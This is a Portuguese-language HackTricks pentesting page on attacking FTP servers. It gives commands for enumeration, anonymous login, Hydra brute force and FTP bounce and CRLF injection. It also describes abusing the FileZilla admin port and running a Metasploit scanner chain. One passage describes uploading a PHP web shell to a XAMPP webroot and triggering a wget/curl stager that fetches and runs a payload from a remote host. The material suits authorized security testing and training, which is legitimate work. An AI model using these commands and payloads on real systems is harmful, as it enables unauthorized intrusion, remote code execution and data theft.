21 - Pentesting FTP
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
O File Transfer Protocol (FTP) serve como um protocolo padrão para transferência de arquivos através de uma rede de computadores entre um servidor e um cliente.
É um protocolo plain-text que usa como caractere de nova linha 0x0d 0x0a, então às vezes você precisa conectar usando telnet ou nc -C.
Porta padrão: 21
PORT STATE SERVICE
21/tcp open ftp
Connections Active & Passive
Em Active FTP o FTP client primeiro inicia a control connection a partir da sua porta N para o command port do FTP Server – porta 21. O client então escuta na porta N+1 e envia a porta N+1 para o FTP Server. O FTP Server então inicia a data connection, da sua porta M para a porta N+1 do FTP Client.
Mas, se o FTP Client tiver um firewall configurado que controla as data connections de entrada vindas de fora, então Active FTP pode ser um problema. Uma solução viável para isso é Passive FTP.
Em Passive FTP, o client inicia a control connection da sua porta N para a porta 21 do FTP Server. Depois disso, o client emite um passv comand. O server então envia ao client um dos seus números de porta M. E o client inicia a data connection da sua porta P para a porta M do FTP Server.
Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/
Connection debugging
Os comandos FTP debug e trace podem ser usados para ver como a communication está ocorrendo.
Enumeration
Banner Grabbing
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
Conectar ao FTP usando starttls
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Enumeração não autenticada
Com nmap
sudo nmap -sV -p21 -sC -A 10.10.10.10
Você pode usar os comandos HELP e FEAT para obter algumas informações do servidor FTP:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
Login anônimo
anonymous : anonymous
_anonymous :
_ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
Aqui você pode encontrar uma boa lista com credenciais ftp padrão: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
Automatizado
Anon login and bounce FTP checks são realizados por padrão pelo nmap com a opção -sC ou:
nmap --script ftp-* -p 21 <ip>
Conexão pelo navegador
Você pode conectar-se a um servidor FTP usando um navegador (como o Firefox) através de uma URL como:
ftp://anonymous:anonymous@10.10.10.98
Note que se uma web application estiver enviando dados controlados por um usuário diretamente para um FTP server você pode enviar bytes %0d%0a com double URL encode (em double URL encode isto é %250d%250a) e fazer com que o FTP server execute ações arbitrárias. Uma dessas possíveis ações arbitrárias é baixar conteúdo de um servidor controlado pelo usuário, realizar varredura de portas ou tentar comunicar-se com outros serviços baseados em texto simples (como http).
Baixar todos os arquivos do FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
Se seu usuário/senha contiver caracteres especiais, o comando a seguir pode ser usado:
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
FTP root mapped to webroot (XAMPP)
- XAMPP/ProFTPD frequentemente mapeia o FTP root para
/opt/lampp/htdocs, então credenciais fracas em contas de serviço comodaemonounobodypermitem que você faça upload de um PHP web shell diretamente no webroot servido. - Após o upload, acione um architecture-aware download/exec stager via o shell, por exemplo:
webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), que busca um payload validado por checksum, salva-o (ex.:init_start), executachmod +xe o roda. - Se o diretório atual não for gravável/executável, o stager recorre a
/tmp, então teste caminhos web e permissões do sistema de arquivos após o upload.
Some FTP commands
USER usernamePASS passwordHELPO servidor indica quais comandos são suportadosPORT 127,0,0,1,0,80Isso indica ao servidor FTP que estabeleça uma conexão com o IP 127.0.0.1 na porta 80 (você precisa colocar o 5º campo como “0” e o 6º como a porta em decimal ou usar o 5º e o 6º para expressar a porta em hex).EPRT |2|127.0.0.1|80|Isso indica ao servidor FTP que estabeleça uma conexão TCP (indicado por “2”) com o IP 127.0.0.1 na porta 80. Este comando suporta IPv6.LISTIsso retornará a lista de arquivos na pasta atualLIST -RLista recursivamente (se permitido pelo servidor)APPE /path/something.txtIsso indica ao FTP para armazenar os dados recebidos de uma conexão passiva ou de uma conexão PORT/EPRT em um arquivo. Se o nome do arquivo existir, ele vai anexar os dados.STOR /path/something.txtComoAPPE, mas sobrescreve os arquivosSTOU /path/something.txtComoAPPE, mas se existir não faz nada.RETR /path/to/fileUma conexão passiva ou uma conexão PORT deve ser estabelecida. Então, o servidor FTP enviará o arquivo indicado através dessa conexãoREST 6Isso indica ao servidor que da próxima vez que enviar algo usandoRETRdeve começar no 6º byte.TYPE iDefine a transferência para binárioPASVIsso abrirá uma conexão passiva e indicará ao usuário onde ele pode se conectarPUT /tmp/file.txtFaz upload do arquivo indicado para o FTP
.png)
FTPBounce attack
Some FTP servers allow the command PORT. This command can be used to indicate to the server that you wants to connect to other FTP server at some port. Then, you can use this to scan which ports of a host are open through a FTP server.
Aprenda aqui como abusar de um servidor FTP para escanear portas.
You could also abuse this behaviour to make a FTP server interact with other protocols. You could upload a file containing an HTTP request and make the vulnerable FTP server send it to an arbitrary HTTP server (maybe to add a new admin user?) or even upload a FTP request and make the vulnerable FTP server download a file for a different FTP server.
The theory is easy:
- Faça upload da requisição (dentro de um arquivo de texto) para o servidor vulnerável. Lembre-se que se quiser comunicar-se com outro servidor HTTP ou FTP você precisa substituir quebras de linha por
0x0d 0x0a - Use
REST Xpara evitar enviar os caracteres que você não quer enviar (talvez para fazer upload da requisição dentro do arquivo você tenha precisado colocar algum header de imagem no início) - Use
PORTpara conectar ao servidor e serviço arbitrários - Use
RETRpara enviar a requisição salva ao servidor.
É altamente provável que isso gere um erro como Socket not writable porque a conexão não dura tempo suficiente para enviar os dados com RETR. Sugestões para tentar evitar isso são:
- Se você está enviando uma requisição HTTP, coloque a mesma requisição uma após a outra até no mínimo ~0.5MB. Assim:
- Tente preencher a requisição com dados “junk” relativos ao protocolo (falando com FTP talvez apenas comandos junk ou repetir a instrução
RETRpara obter o arquivo) - Simplesmente preencha a requisição com muitos caracteres nulos ou outros (divididos em linhas ou não)
De qualquer forma, aqui está um exemplo antigo sobre como abusar disso para fazer um servidor FTP baixar um arquivo de outro servidor FTP.
Vulnerabilidade do FileZilla Server
FileZilla normalmente binds a um serviço administrativo local para o FileZilla-Server (porta 14147). Se você conseguir criar um túnel da sua máquina para acessar essa porta, você pode conectar-se a ela usando uma senha em branco e criar um novo usuário para o serviço FTP.
Arquivos de configuração
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Pós-Exploração
A configuração padrão do vsFTPd pode ser encontrada em /etc/vsftpd.conf. Aqui você pode encontrar algumas configurações perigosas:
anonymous_enable=YESanon_upload_enable=YESanon_mkdir_write_enable=YESanon_root=/home/username/ftp- Diretório para usuários anônimos.chown_uploads=YES- Altera a propriedade dos arquivos enviados anonimamentechown_username=username- Usuário que receberá a propriedade dos arquivos enviados anonimamentelocal_enable=YES- Permite que usuários locais façam loginno_anon_password=YES- Não solicita senha para acesso anônimowrite_enable=YES- Permite comandos: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE
Shodan
ftpport:21
Comandos Automáticos do HackTricks
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


